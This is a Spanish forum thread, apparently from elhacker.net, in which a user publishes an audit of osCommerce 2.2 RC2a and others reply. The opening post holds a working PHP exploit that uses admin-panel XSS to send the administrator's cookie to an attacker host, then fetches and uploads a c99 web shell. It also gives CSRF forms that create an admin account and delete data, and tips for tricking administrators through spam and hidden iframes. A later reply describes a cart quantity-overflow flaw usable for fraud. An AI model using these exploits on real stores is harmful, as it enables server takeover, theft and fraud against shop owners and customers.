Foro de elhacker.net

Seguridad Informática => Nivel Web => Mensaje iniciado por: WHK en 18 Junio 2009, 05:22 am



Título: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: WHK en 18 Junio 2009, 05:22 am
Bueno, acabo de terminar un documento que les puede servir a varios para poder aprender lo básico de un xss, csrf y alguno que otro bypass, también por otro lado les puede servir para que piensen dos veces que instalar al momento de crear una tienda virtual.



Auditando a Oscommerce 2.2 RC2a

Link para su descarga : http://www.oscommerce.com/solutions/downloads
El presente documento está hecho con motivo de aprender de las vulnerabilidades de Oscommerce y saber como protegernos haciendo buenas elecciones al momento de buscar un sistema web que soporte una tienda online.
Oscommerce actualmente es uno de los sistemas públicos mas utilizados par crear sitios de ventas online, desafortunadamente también es uno de los mas vulnerables. Acá daré a conocer soolo algunos que yo pude encontrar. Si quieres buscar mas fallas de este sistema CMS puedes hacerlo desde acá:
http://www.google.cl/search?hl=es&q=oscommerce+vuln


XSS en múltiples secciones y Bypass al Anti-rrobo de sesiones

Para saber que significa XSS vea la sección de enlaces descriptivos que está al final de este documento.
Dentro del sistema de Administración podemos encontrar una sección donde podemos modificar banners, ahí nos encontramos con el archivo banner_manager.php:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1&bID=1&action=new

Acá podemos ver una clara vulnerabilidad de tipo XSS en la variable llamada "page", probemos ...
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1'"><h1>lol&bID=1&action=new

Vemos lo siguiente:
(http://www.jccharry.com/archivos_publicos/oscommerce/oscommerce_1.png)

Esto nos quiere decir que pudimos inyectar código HTML con éxito dentro del sistema WEB.
Actualmente este tipo de vulnerabilidades se cataloga como nivel medio bajo en lo que a peligrosidad se refiere tanto en Securityfocus como en Secunia, Firstit, Vupen, etc etc, pero yo les voy a demostrar que un escape de código html dentro de tu sitio web puede causar muchos riesgos.

Primero vamos a planear que hacer para poder tener las ideas mas claras.
Haremos un script en php y si el administrador lo ve desde su explorador entonces le robaremos su sesión y con eso ya podremos hacer lo que se nos antoje como por ejemplo subirle una shell.

Abrimos nuestro editor de textos y manos a la obra:
Código
  1. <?php
  2. /* Prueba de concepto para Oscommerce 2.2, Upload de Shell via XSS. Por WHK */
  3. $web_vulnerable = 'http://127.0.0.1/oscommerce/'; /* La URL de la web vulnerable */
  4. $url_shell = 'http://www.geocities.com/zkizzik/c99.txt'; /* La URL de la Shell local o remnota */
  5. $logs = md5($web_vulnerable).'_logs.txt'; /* Log donde se guardará el estado del ataque */
  6.  
  7. if(!$_GET){ /* Si no hay variables entonces procede a ... */
  8. /*
  9. Redirecciona al visitante hasta la página del oscommerce vulnerable,
  10. obiamente lo enviamos hacia una url que causará que el mismo inyecte
  11. código html en su propia web, este código html dirá que nos envie su cookie
  12. hasta este mismo script para su recepción y utilización.
  13. */
  14. /* Si la url no contiene un slash al final entonces se lo agrega */
  15. if($web_vulnerable[strlen($web_vulnerable) - 1] != '/') $web_vulnerable .= '/';
  16. logs('Redireccionando hacia el XSS');
  17. 'Location: '.
  18. $web_vulnerable.
  19. 'admin/banner_manager.php?page=1"><script src=http://'.
  20. $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME']
  21. .'?acc=js></script><br x="&bID=1&action=new'); // Redirección
  22. /* como Oscommerce agrega slashses a las comillas entonces intentaremos usar un incluye */
  23.  
  24. /* el dichoso javascript que nos robará la sesión */
  25. }elseif($_GET['acc'] == 'js'){
  26. logs('Enviando código javascript');
  27. die('
  28.  /* Script que obtiene galletas con sabor a chocolate */
  29.  document.location="http://'.
  30.  $_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].
  31. '?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + '.
  32. 'escape(navigator.userAgent);
  33. ');
  34.  
  35. /* Recibe la cookie y comienza la massacre */
  36. }elseif($_GET['acc'] == 'choco'){
  37. logs('Cookie recibida Cookie='.$_GET['galleta'].'');
  38. if(!$cookie = urldecode($_GET['galleta'])){
  39.  logs('Se ha intentado enviar una cookie sin contenido');
  40.  exit; /* Si no hay cookie se detiene */
  41. }
  42.  /* Separa el host con la ruta para procesar la conexión sin CURL para mayor compatibilidad */
  43. $host = explode('/', $web_vulnerable);
  44. $host = $host[2];
  45. $url = explode('http://'.$host, $web_vulnerable);
  46. $url = $url[1].'/';
  47. // Envía la shell
  48. if(!$shell = file_get_contents($url_shell)){
  49.  logs('No se pudo obtener la shell');
  50.  exit;
  51. }
  52. $post_data =
  53. '-----------------------------66182058019796
  54. Content-Disposition: form-data; name="file_1"; filename="config.php"
  55. Content-Type: text/x-php
  56.  
  57. '.$shell.'
  58. -----------------------------66182058019796
  59. Content-Disposition: form-data; name="file_2"; filename=""
  60. Content-Type: application/octet-stream
  61.  
  62.  
  63. -----------------------------66182058019796
  64. Content-Disposition: form-data; name="file_3"; filename=""
  65. Content-Type: application/octet-stream
  66.  
  67.  
  68. -----------------------------66182058019796
  69. Content-Disposition: form-data; name="file_4"; filename=""
  70. Content-Type: application/octet-stream
  71.  
  72.  
  73. -----------------------------66182058019796
  74. Content-Disposition: form-data; name="file_5"; filename=""
  75. Content-Type: application/octet-stream
  76.  
  77. -----------------------------66182058019796
  78. Content-Disposition: form-data; name="x"
  79.  
  80. '.rand(10,19).'
  81. -----------------------------66182058019796
  82. Content-Disposition: form-data; name="y"
  83.  
  84. '.rand(10,19).'
  85. -----------------------------66182058019796--
  86.  
  87. ';
  88.  
  89. /* conexión y comprobación */
  90. if(!eregi('302', enviar_socket(
  91. 'POST '.$url.'admin/file_manager.php?action=processuploads HTTP/1.1
  92. Host: '.$host.'
  93. User-Agent: '.urldecode($_GET['uag']).'
  94. Connection: close
  95. Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=upload
  96. Cookie: '.$cookie.'
  97. Content-Type: multipart/form-data; boundary=---------------------------66182058019796
  98. Content-Length: '.(int)strlen($post_data)."\n\n".$post_data))){
  99.  logs('Error inesperado al intentar subir la shell o sistema no vulnerable');
  100.  exit;
  101. }
  102.  
  103. /* Valída el upload y verifica si terminó correctamente */
  104. if(eregi('images/icons/success.gif', enviar_socket(
  105. 'GET '.$url.'admin/file_manager.php HTTP/1.1
  106. Host: '.$host.'
  107. User-Agent: '.urldecode($_GET['uag']).'
  108. Connection: close
  109. Referer: http://'.$host.'/'.$url.'admin/file_manager.php?action=processuploads
  110. Cookie: '.$cookie."\n\n\n"))){
  111.  logs('Shell subida con éxito hacia URL='.$web_vulnerable.'config.php');
  112. }else{
  113.  logs('Error inesperado al intentar subir la shell o sistema no vulnerable');
  114.  exit;
  115. }
  116. }
  117.  
  118. function handle_socket(){
  119. global $host;
  120. if(!$handle = fsockopen($host, 80)){
  121.  logs('El servidor remoto no responde');
  122.  exit;
  123. }
  124. return $handle;
  125. }
  126.  
  127. function enviar_socket($buffer){
  128. $handle = handle_socket();
  129. fwrite($handle, $buffer);
  130.  while(!feof($handle)){
  131.  $buffer .= fgets($handle, 128);
  132. }
  133. fclose($handle);
  134. if(!$buffer){
  135.  logs('El servidor remoto no responde');
  136.  exit;
  137. }
  138. return $buffer;
  139. }
  140.  
  141. function logs($contenido){
  142. global $logs;
  143. if(file_exists($logs)) $modo = 'a'; else $modo = 'x';
  144. if(!$handle = fopen($logs, $modo)) return false;
  145. fwrite($handle, '[+] DATE['.date(DATE_RFC822).'] IP['.$_SERVER['REMOTE_ADDR'].'] LOG['.$contenido."]\x0D\x0A");
  146. fclose($handle);
  147. }
  148. ?>

Ahora, antes de explicar lo que hace cada línea les voy a decir como funciona.
Primero que nada debemos encontrar al Administrador con su sesión activa dentro del sistema y luego hacer que visualice este código WEB. Para hacerlo vamos a suponer una situación donde nos conectamos vía IRC o MSN con el Administrador y le sugerimos una configuración para poder optimizar su sitio Web como por ejemplo un dimensionado de la imagen de su banner o lo que sea, después que ya estamos seguros que está logueado le decimos que observe el tutorial donde se muestra con mas detalle y le damos la página que lo redireccionará hacia el XSS. También puedes enviarle múltiples Spam a su correo y esperar a que haga clic en una mientras está trabajando en su página. También puedes ocultar el script dentro de un iframe de 1 x 1 pixel mientras lee o ve un video ocultando la redirección.
En fin, hay muchas formas para hacer caer a alguien con tal de que vea el script que acabamos de hacer, una ves que lo haga solamente pasarán unos 2 o tres segundos y automáticamente se le subirá una shell a su propio servidor y quedará masomenos así:
(http://www.jccharry.com/archivos_publicos/oscommerce/oscommerce_2.png)

Ahora si voy a explicar un poco el código para que todo mortal pueda entender que hace sin entrar mucho en el lenguaje de programación ya que los que saben está claro que ya saben como está hecho.

Para subirle la shell necesitamos primero ser Administradores, eso es normal así que primero vamos por la cookie, cuando el Administrador vea el script lo primero que se hará es redireccionarlo hacia:
http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1"><script src=http://atacante.com/demanda.php?acc=js></script><br x="&bID=1&action=new

Lo que hará es redireccionarlo hacia la Web vulnerable e inyectará esto:
Citar
"><script src=http://atacante.com/demanda.php?acc=js></script><br x="

Asi que parte del código fuente queda de esta forma:
Código
  1. <form name="new_banner" action="http://127.0.0.1/oscommerce/admin/banner_manager.php?page=1\"><script src=http://atacante.com/demanda.php?acc=js></script><br x=\"&action=update" method="post" enctype="multipart/form-data">

De esta forma insertamos el archivo javascript dentro del código HTML sin romper su estructura y evitamos que se vea mal en caso de que algo falle.
Ahora este javascript nos ejecutará lo siguiente:
Código
  1. /* Script que obtiene galletas con sabor a chocolate */
  2. document.location="http://atacante.com/demanda.php?acc=choco&galleta=" + escape(document.cookie) + "&uag=" + escape(navigator.userAgent);

Como ahora si podemos usar comillas dobles (recordemos que Oscommerce agrega salsees como si fuera magic quotes para prevenir no se que cosa porque hasta ahora no sirve de nada) hacemos que nos redirecciones hacia mi Web atacante y envíe la cookie (recuerden que la cookie es nuestra sesión como administradores). Algunas personas podrán simplificar esto con eval y charcote haciendo la redirección saltándose el paso de la inclusión del Script (si no entendiste no importa porque no es relevante para el que no sabe mucho del tema).
¿Porqué necesitamos el User Agent? (nombre del navegador):
En Oscommerce hay un sistema de seguridad para "supuestamente" prevenir este tipo de ataques, entonces lo obtenemos y lo utilizamos en nuestro script.
Código de "supuesta" seguridad en Oscommerce (Archivo "incluyes/application_top.php" Linea 227):
Código
  1. if ($SESSION_USER_AGENT != $http_user_agent){
  2.      tep_session_destroy();
  3.      tep_redirect(tep_href_link(FILENAME_LOGIN));
  4. }

Bueno, ahora lo usamos en nuestro Script:
Código
  1. User-Agent: '.urldecode($_GET['uag']).'

Ahora que tenemos la cookie y el user agent podemos hacer lo que se nos antoje como modificar la contraseña, cambiar el correo para después recuperar el password, subir una shell, eliminar todo y poner una Web porno, modificar archivos php para capturar tarjetas de crédito con cvv2, etc etc (recuerden que esto es solo una prueba de concepto para demostrar lo que se puede llegar a hacer no para que lo pongan en práctica).

El resto del Script lo que hace es enviar el archivo de nuestra Shell de pruebas al servidor desde:
http://127.0.0.1/oscommerce/admin/file_manager.php?action=processuploads

Respetando el referer que es desde "admin/file_manager.php?action=upload" y enviamos nuestra petición POST con 5 archivos, si pones solo uno te lo rechaza, ponemos nuestra shell en el archivo 1 y los demás en blanco, ahora nos darán una redirección hacia "admin/file_manager.php" así que la visualizamos y nos valida recién el upload.
También me encontré con dos variables, una llamada "y" y "x" con un valor al azar entre 1 y 20 así que se lo agregué al script para poder reflejar una simulación lo mas igualada posible a un explorador, si se los sacas no funcionará.

Secciones donde puedes encontrarás XSS:
http://127.0.0.1/oscommerce/admin/categories.php?action=new_product_preview&read=only&pID=18&origin=stats_products_viewed.php?page=1'"><h1>test
http://127.0.0.1/oscommerce/admin/configuration.php?gID=1'"><h1>test
y en casi todas las secciones de administración donde veas una variable "page", "id", etc etc. Solo es cosa de ir probando porque si me pongo a mostrarlas todas voy a terminar este documento el año que viene.


Múltiples XSRF (Cross Site Request Forgery)

Para saber que significa XSRF vea la sección de enlaces descriptivos que está al final de este documento.
Primeramente intentaré eliminar una categoría manualmente y al hacerlo me pide una confirmación, al darle clic al botón para aceptar su eliminación me pongo a visualizar los datos que estoy enviando desde el Live Headers:
(http://www.jccharry.com/archivos_publicos/oscommerce/oscommerce_3.png)

Citar
http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=

POST /oscommerce/admin/categories.php?action=delete_category_confirm&cPath= HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows; U ...
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/oscommerce/admin/categories.php?cPath=&cID=1&action=delete_category
Cookie: osCAdminID=hfk8d6gg5n455ld7i4q20c4pf7; osCsid=pmvjahohiq09e0j2hr0rujffl0
Content-Type: application/x-www-form-urlencoded
Content-Length: 25

categories_id=1&x=17&y=11

Acá vemos que se envía la variable categories_id diciendo que se va a eliminar pero en ningún lado vemos que nos adjunta algún tipo de dispositivo de seguridad que evite un ataque automatizado, por ejemplo un hash o cosas similares por lo tanto el ataque es tan obvio como la falla:
Código
  1. <form method="post" action="http://127.0.0.1/oscommerce/admin/categories.php?action=delete_category_confirm&cPath=">
  2. <input type=hidden name="categories_id" value="1" />
  3. </form>
  4. <script>document.getElementsByTagName("form")[0].submit();</script>

Creamos un archivo HTML que contenga esto y hacemos que el administrador lo visualize, al hacerlo estará eliminando involuntariamente la primera categoría de productos de su tienda virtual.
Esto podemos hacerlo con cualquier tipo de dato o configuración ya que en ningún caso se verifica un hash para prevenir este tipo de ataques.

Te gustaría crear un nuevo usuario con derechos de Administración?
Código
  1. <form method="post" action="http://127.0.0.1/oscommerce/admin/administrators.php?action=insert">
  2. <input type=hidden name="username" value="r00t" />
  3. <input type=hidden name="password" value="r00ted" />
  4. <input type=hidden name="x" value="16" />
  5. <input type=hidden name="y" value="13" />
  6. </form>
  7. <script>document.getElementsByTagName("form")[0].submit();</script>

Tan fácil y sencillo.

También puedes activar de forma remota tipos de pago:
http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install

Acá activas el tipo de pago Paypal Express y tener la oportunidad de hacer compras fraudulentas si es que es un sitio de ventas en tiempo real como por ejemplo venta de softwares.
Incluso puedes adjuntarlo en una imagen o un avatar, etc:
Código
  1. <img src="http://127.0.0.1/oscommerce/admin/modules.php?set=payment&module=paypal_express&action=install" />

Otro problema de Oscommerce es que utiliza $_SERVER['PHP_SELF'] en casi todas sus secciones y este parámetro si no se sabe utilizar puede causar fallas de tipo XSS:
(http://www.jccharry.com/archivos_publicos/oscommerce/oscommerce_5.png)

Si buscamos sin mucho detalle:
(http://www.jccharry.com/archivos_publicos/oscommerce/oscommerce_4.png)

Tenemos 26 archivos solamente con esta vulnerabilidad.
En este caso como no necesariamente está en el sistema de Administración puede lanzarse con toda confianza un ataque al propio administrador sin preocuparse si su directorio está protegido por Apache (autentification) ya que desde el mismo javascript con XMLHTTP puedes comprobar si tienes acceso o no y evitar un pantallaza del login, incluso puedes lanzar un popup por detrás del navegador y con un javascript que constantemente verifique si el Administrador entró en el sistema o no para poder continuar con el ataque.
También puedes afectar a los usuarios y robarle sus sesiones y apoderarse de sus compras.

¿Que tal estaría poder modificar el precio de los productos?, a mi no me gustaría que me hicieran eso y no se si a alguna empresa le guste tampoco.
 

Conclusión

Oscommerce es un sistema muy útil pero llega a ser tan útil como inseguro y es una situación bastante delicada cuando se pretende cobrar dinero de forma online y tener tu propia tienda virtual.

Que sea gratuito no significa que sea malo, las vulnerabilidades las pueden cometer muchos programadores incluso los que se dedican a la venta de sistemas entre comillas. Hay muchas alternativas mejores por el mismo precio ($0) que están licenciada bajo la licencia GNU.

Una vulnerabilidad no es algo aislado que puedas ver en un foro o en un grupo de personas con tiempo libre, es algo que se toma muy en serio cuando se habla de sistemas profesionales, no creo que alguien se desgaste haciendo una bóveda del porte de una cancha de fútbol sin ponerle la cerradura a la puerta.

Muchos sitios que hablan sobre Advisories dicen que el XSS es considerado de riesgo a nivel medio (antiguamente era bajo), pues para mi puede ser tan fatal como cualquier otro así que si tienes un XSS en tu sitio Web te recomiendo que lo repares.

Puedes ahorrar una buena cantidad de dinero mensualmente evitando que tu técnico venga a reinstalar tu sitio Web porque fue penetrada y también te ahorras el dinero del auditor para corroborar si no hay indicios de rooteo que pueda comprometer al servidor en un futuro después de haber hecha la reinstalación.


Enlaces descriptivos

http://es.wikipedia.org/wiki/Cross-site_scripting
http://es.wikipedia.org/wiki/Cross_Site_Request_Forgery
http://es.wikipedia.org/wiki/Agentes_de_usuario
http://www.google.cl/search?hl=es&q=bypass+vuln
(Bypass: Descubrimiento de evasión, en este caso se trata de evadir el sistema de protección que evita un ataque.)
http://www.oscommerce.com/
http://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones-t244090.0.html
http://foro.elhacker.net/documentacion/los_poderes_secretos_de_xss_cross_site_scripting-t98324.0.html
http://www.google.cl/search?hl=es&q=xss+vuln
http://es.wikipedia.org/wiki/GPL
http://www.gnu.org/licenses/licenses.es.html


Agradecimientos

Gracias al foro de ElHacker.Net por darme la oportunidad de tener cada día mas conocimiento frente al tema de la seguridad informática y aplicarlo en el mundo laboral.
Gracias a Nakp por prestarse siempre de betatester para lo que sea aunque en esta ocasión no se pudo porque no le avisé :p
Gracias a KrackWar por su vida social (nuevamente)
Gracias a mi compadre Octalh por llevarme por el camino del conocimiento y el Software Libre XD
Gracias a mis amigos de la red: MITM, Sirdarckcat, Unika, PokasPulgas, Nano N Roses, Dementes en el espacio, CarlosWaldo (alias carlos aguado) y a todos los de la sala de Yahoo Chat "Cristianismo:1" y "Programación:1".


Att, WHK.
www.kernel32@gmail.com
http://foro.elhacker.net/profiles/whk-u148268.html

Puedes publicar este documento donde tu quieras siempre y cuando no sea modificado.


Si tienen alguna duda pregunten porque nadie ha nacido sabiendo las cosas.
Descarga en formato .doc acá (http://www.jccharry.com/greencode/filemanager/index.php?wfm-ruta=%2FCreaciones+propias%2FAuditoria+WEB%2FAuditando+OsCommerce+2.2.doc)


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: Og. en 18 Junio 2009, 06:11 am
como siempre...

grandioso y muy bien explicado

gracias  :D :D :D


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: VirucKingX en 18 Junio 2009, 06:45 am
Te felicito WHK  ;-) , exelente información y muy bien explicado.


Chau - aguante XSS -


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: braulio-- en 18 Junio 2009, 13:38 pm
Muy bien, me encantan este tipo de post
 ;-)


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: Azielito en 18 Junio 2009, 16:43 pm
Se puede poner "seguridad" ante éstos ataques con algun mod de apache? (mod_security, mod_rewrite)

con mod_rewrite me imagino crear una regla
Código
  1. si en URL encuentras '<>|%'
  2. redirecciona error 403
  3. #o cualquiera
O, en algún archivo de configuración [el de conexion a bases de datos, por ejemplo] poner una función para que nos quite esos "caracteres malditos" :')
Y ahora que recuerdo, un amigo me dijo que el sistema ese requiere register_globals=on :')

Y del mod_security no puedo decir nada ya que no lo he usado :')


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: Jubjub en 18 Junio 2009, 18:02 pm
Simplemente IMPRESIONANTE.

Gran trabajo, me ha hecho ver el autentico potencial de los XSS. Gracias WHK!


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: MagnoBalt en 18 Junio 2009, 18:36 pm
Muy bueno WHK.. Se agradece!!


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: CICOLO_111234 en 18 Junio 2009, 19:55 pm
buen aporte, WHK


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: WHK en 18 Junio 2009, 23:32 pm
Trackeado:
http://svn.oscommerce.com/jira/browse/OSC-937

Citar
Se puede poner "seguridad" ante éstos ataques con algun mod de apache? (mod_security, mod_rewrite)

con mod_rewrite me imagino crear una regla
Código

si en URL encuentras '<>%'
redirecciona error 403
#o cualquiera

O, en algún archivo de configuración [el de conexion a bases de datos, por ejemplo] poner una función para que nos quite esos "caracteres malditos" :')
Y ahora que recuerdo, un amigo me dijo que el sistema ese requiere register_globals=on :')

Y del mod_security no puedo decir nada ya que no lo he usado :')

Tienes razón:
includes/application_top.php Linea 19
Código
  1. // check support for register_globals
  2.  if (function_exists('ini_get') && (ini_get('register_globals') == false) && (PHP_VERSION < 4.3) ) {
  3.    exit('Server Requirement Error: register_globals is disabled in your PHP configuration. This can be enabled in your php.ini configuration file or in the .htaccess file in your catalog directory. Please use PHP 4.3+ if register_globals cannot be enabled on the server.');
  4.  }

Hay un sitio web en mi pais super conocido que vende atriculos de pc que funciona bajo oscommerce, no quiero dar nombre pero está en la calle san diego  :P y utilizan mod security para evitar ataques como si fuera un ids, al intentar inyectar código javascript te detiene y dice "no aceptable", es como lo que tu quieres hacer pero lo malo es que esos metodos no son 100% efectivos, es como decir que un antivirus me va a detener todos los virus que existen, eso es falso pero si puede evitar la mayoría de los ataques. De todas formas alguien con bastante conocimiento siempre podrá evadirlo, por ejemplo ellos filtran "<script>" pero si das "<ScrIPt x=x>" no dice nada y me lo acepta, aunque no quiere decir que alguien decidido hará cosas tan básicas, talves pueda escapar con vbscript o string.charcode, etc.
Recuerda que ni si quiera sistemas como No-Script, PHPIDS y el filtro del internet exploter son perfectos y todos los dias se van actualizando, imagina si le pones algo similar a tu servidor, tendrias que tener a alguien dedicado en buscar fallas cada ves que pueda tratando de hacer mas fuerte el filtro pero aun así no sería perfecto ya que si filtras todos los tags talves el buscador deje de funcionar y si lo admites talves mas adelante salga una inyección con carácteres unicode, etc quien sabe.

La única solución que veo es reprogramarlo nuevamente y hacerlo bién para evitar problemas, usar htmlspecvialchars con ENT_QUOTES, mysql escape real string, (int), etc etc.

Un sistema con una buena programación no debería fallar de esta forma, talves smf , joomla y wordpress hayan tenido fallas también pero no todas simultaneamente jajaja.

Si irremediablemente tienes un oscommerce y no puedes desacerte de el por el momento puedes hacerle un include en el index.php hacia un nuevo script que filtre todas las variables $_GET, $_POST $_COOKIE y $_SERVER con htmlspecialchars antes de continuar, con esto evitas el xss aunque no es lo mas óptimo porque los resultados de las busquedas no serán exactas y talves los nicks con carácteres especiales se vean mal. esto no evita los CSRF ya que para eso deben integrar un token o algo que sea al azar tal como lo hacen casi todos los sistemas mas grandes.

Azielito, recuerda que no todos tienen la posibilidad de acceder al servidor e instalar cosas ya que muchos deben estar usando hostings de pago normal asi que hay que dar soluciones que todos puedan implementar.

Citar
Gran trabajo, me ha hecho ver el autentico potencial de los XSS. Gracias WHK!
Claro, la idea es poder aprender en la práctica y salir un poco de los tutos  :P , dicen que la práctica y el tiempo libre hacen al maestro  :xD

PD: http://demo.oscommerce.com/index.php/"><h1>XSS (http://demo.oscommerce.com/index.php/"><h1>XSS)

Saludos.


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: Jubjub en 18 Junio 2009, 23:35 pm
y el tiempo libre hacen al maestro  :xD

Ahi le has dado :P

Gracias a esto ando experimentando con XSS en algunas paginas conocidas.. y con resultados positivos, vere si soy capaz de crear algo explotable :)


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: Man-In-the-Middle en 19 Junio 2009, 03:03 am
Dios Tio, eres la leche XD, gracias a diossss que ya habia dejado el osc hace buen tiempo, ahoraa me preocupa algo y a nivel alto, zetacart, prestashop y demas tiendas virtuales son copias del osc, osea que es mas que seguro peten!!, y ahoraaa pendejooo , yo que estab instalando el presta en milkaholic XDDD , jajaj , ya hablaos por el msn


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: WHK en 19 Junio 2009, 15:07 pm
Se nota que aman su proyecto porque todavía no me han respondido el tracker por lo menos para decir que ya lo saben  :P , de seguro están de vacaciones.


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: ralepuz en 23 Noviembre 2010, 20:54 pm
Hola,
gran aporte, desconocia el tema tan en detalle.
Ahora mismo estoy instalando contribuciones de seguridad en mi tienda oscommerce y por lo que leo en Oscommerce 2.2 RC2a hay una vulnerabilidad importante debido a las llamadas eval() en php.¿Por qué? ¿Esto lo puedo solucionar de alguna forma?
Por lo que tengo ententido en la versión 2.3 ya no se realizan este tipo de llamadas. Y no me gustaría tener que actualizarme debido a que tengo mas de 30 contribuciones instaladas y sería un jaleo.
Me recomiendas algo??

Muchas gracias!!  :-*


www.rafaalepuz.com


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: Cleantesdeasso en 26 Noviembre 2010, 05:24 am
Buenas. Entiendo el 20 x ciento, pero agradezco tu magnanima accion. Muchas gracias, leerleerleer... leo mientras bebo baldes...


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: dimitrix en 2 Diciembre 2010, 15:57 pm
Con todo el respeto, es tan penoso que ni haría falta verlo. Es decir OsCommerce, lo peor de lo peor, lo he utilizado 1000 veces y siempre tiene fallos a punta pala, ya no contar los 150 XSS, sino de que los productos te salgan a 0€, que el carro te salga como pagado, etc...


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: :ohk<any> en 3 Diciembre 2010, 13:55 pm
Leí esto a tiempo jejeje, gracias WHK.


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: pinchonazos en 27 Febrero 2011, 05:00 am
Gracias por todas estas indicaciones tan utiles.

Tengo un Oscommerce con unos tres años de trabajo encima, que me lo han reventado por multiples sitios.

Lo unico malo es que comemos unas pocas personas que no teniamos otro trabajo y mandamos paquetes con cosas de bajo precio para ganarnos la vida.

Llevo una semana intentando buscar una tienda online que sea mas segura.

Es en esto en lo que os pido consejo, y como por ejemplo poner algo mas seguro el ADMIN



Si el Oscommerce funcionase, mejor que mejor, porque la gente que trabaja no esta muy cualificada y ese programa lo ve sencillo.

Si no vale bien, cogere otro que no este basado en este, porque se listan los ficheros y todo (menuda guarreria, pa que cojones se listan los ficheros si uno los edita con el FTP)

Anda, hechadme una manilla que llevo unos pocos dias preocupado.

No se si el htaccess en el Admin (que seria doble clave) serviria, la cuestion es que el FTP y la base de datos me la han fusilado y llenado de troyanos, que aunque he ido limpiando uno a uno , algun codigo malicioso debe quedar.


Muchas gracias de antemano a todos, a ver si consigo algo mas seguro.



Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: pinchonazos en 28 Febrero 2011, 11:49 am
No hay nadie por aqui?

Disculpadme si no me explico bien, siento ser un poco burro en esto.

No se si alguno de ustedes podria auditarme un sitio, pagandolo, claro.

Si alguien nos hecha una mano, buenamente os lo agradezco.

Tambien tengo un wiki, bicipedia, que me lo han roto varias veces, y lo he ido arreglando aunque alguna vez he tardado mas de un mes.

Si alguno necesita trabajo, digo yo que que mejor que trabajar en lo que le gusta no?


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: WHK en 22 Marzo 2011, 00:00 am
el problema amigo es que para asegurar el oscommerce habría que reescribirlo todo denuveo, es una masa de código mal hecha llena de fallos por todos lados sin mencionar los csrf en las cartas de compra y las subidas arbitrarias de archivo en el panel de admin.

Yo en lo personal utilizo joomla con virtuemart, no es 100% infalible pero por lo menos si es muchisimo mas seguro que oscommerce y mas completo.

por ejemplo ayer encontré una falla, entra a cualquier oscommerce y agrega a tu carro de ocmpras 99999999999999 unidades de un solo producto y verás que matemáticamente arroja un error al utilizar integers y no floats y te cobra 3 pesos o 3 euros, asi que normalmente puedes descargar todos los files que quieras de un socommerce en esas webs que puedes descargar archivos por pagar ^^

pd: la tienda virtual de googlestore utiliza oscommerce.


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: kalimoro en 6 Julio 2012, 19:23 pm
Siento muchisimo revivir el tema muerto, pero estoy protegiendo una web con Oscommerce 2.2 RC2a, y la tengo configurada de tal modo que al entrar al directorio admin te salte el tipico popup para pedirte el user y pass, y luego, cuando los has ingresado, ya te pide los datos de admin de oscommerce
Nose si con esa seguridad me podrian seguir atacando la web, y si es asi, ¿cómo?
Saludos y gracias


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: dimitrix en 6 Julio 2012, 19:47 pm
La versión 2.2 RC2a lleva más de 4 años. Actualiza a la 2.3.1

OsCommerce siempre ha sido MUY MUY MUY vulnerable. Creo que el pobre WHK no sabía donde se metía al auditar.

Lo jodido de auditar OsCommerce es que al ser tan vulnerable no sabes como hacer el informe xDDDDDDDDD

Para la seguridad personalmente prefiero PrestaShop.


Título: Re: Múltiples vulnerabilidades en Oscommerce 2.2 RC2a
Publicado por: kalimoro en 6 Julio 2012, 23:15 pm
Si hay llevas razon xD
lo que pasa esque la web es de un amigo y le intento demostrar que a pesar de tener protecion en la carpeta admin, sigue siendo vulnerable, y que actualize a otra version o use otro sistema.
Por eso preguntaba, que a pesar de tener proteccion con contraseña al directorio admin, se podria "hackear" de alguna forma
Saludos y gracias